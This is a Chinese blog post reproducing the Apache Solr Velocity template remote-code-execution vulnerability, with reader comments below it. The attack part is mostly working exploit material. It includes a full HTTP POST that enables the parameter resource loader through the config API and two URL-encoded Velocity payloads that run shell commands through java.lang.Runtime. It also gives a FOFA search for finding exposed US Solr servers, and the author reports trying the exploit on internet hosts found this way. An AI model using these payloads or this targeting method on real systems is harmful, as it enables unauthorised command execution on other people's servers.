Apache Solr Velocity RCE

Allexy@KillBoy
Allexy@KillBoy
作者
2
文章
0
粉丝
渗透测试108,0621字数 636阅读2分7秒阅读模式
摘要Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通...
AI智能摘要
Apache Solr的这个Velocity模板漏洞正在威胁数万家企业服务器!攻击者只需通过简单的配置修改,就能在服务器上执行任意命令。从5.x到8.2.0版本无一幸免,这个高危漏洞让企业核心数据暴露在风险之下。想知道如何检测和防御这种致命攻击?本文完整披露漏洞利用细节和防护方案。
— AI 生成的文章内容摘要

Solr
Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。

漏洞产生原因
该漏洞的产生是由于两方面的原因:

当攻击者可以直接访问Solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改。

Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模版,默认设置是false。

当设置params.resource.loader.enabled为true时,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行。(来自360CERT)

影响范围
Apache Solr 5.x - 8.2.0,存在config API版本

复现过程
FOFA大法好啊

app="Solr" && country="US"

有个5.5.0版本的,试试

Apache Solr Velocity RCE-图片1

需要知道core的名称才能进行下一步操作

Apache Solr Velocity RCE-图片2

/solr/documents_shard1_replica1/config目录post以下数据,旨在修改core的配置信息。

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

完整POST数据包,修改core配置。

POST /solr/documents_shard1_replica1/config HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 263

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

出现下面的Response信息则表示修改成功。

Apache Solr Velocity RCE-图片3

EXP

http://ip:port/documents_shard1_replica1/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Apache Solr Velocity RCE-图片4

http://ip:port/documents_shard1_replica1/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ls%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Apache Solr Velocity RCE-图片5

顺手也测了一下8.1.1版本的

Apache Solr Velocity RCE-图片6

 
Allexy@KillBoy
评论  10  访客  10
    • 搞笑喷射器
      搞笑喷射器 0

      这漏洞复现步骤写得挺细,不过5.5.0真有人还在用?

      • 灵雾隐
        灵雾隐 0

        params.resource.loader.enabled默认不是false吗,谁会手贱开true啊🤔

        • 代码骑士
          代码骑士 0

          前几天刚给公司Solr打补丁,正好踩过这个坑

          • Alien小外星人
            Alien小外星人 0

            美国的Solr实例这么多?FOFA搜出来一堆没关config API的

            • 云游者
              云游者 0

              ls和id命令都试了,但反弹shell好像没提,有老哥成功过没?

              • 甜蜜的棉花糖
                甜蜜的棉花糖 0

                8.1.1也中招?还以为新版修了呢,结果还是翻车

                • 静夜歌
                  静夜歌 0

                  截图里那个“solrCore Initialization Failure”是不是说明已经触发了?

                  • 幻光守护者
                    幻光守护者 0

                    感觉一般,这种RCE现在扫一遍基本都修了

                    • 躺平
                      躺平 0

                      求问core名称怎么快速枚举?一个个猜太费劲了

                      • 轻功绝顶
                        轻功绝顶 0

                        Velocity模板还能这么玩,Java反序列化真是永动机666

                      匿名

                      发表评论

                      匿名网友

                      拖动滑块以完成验证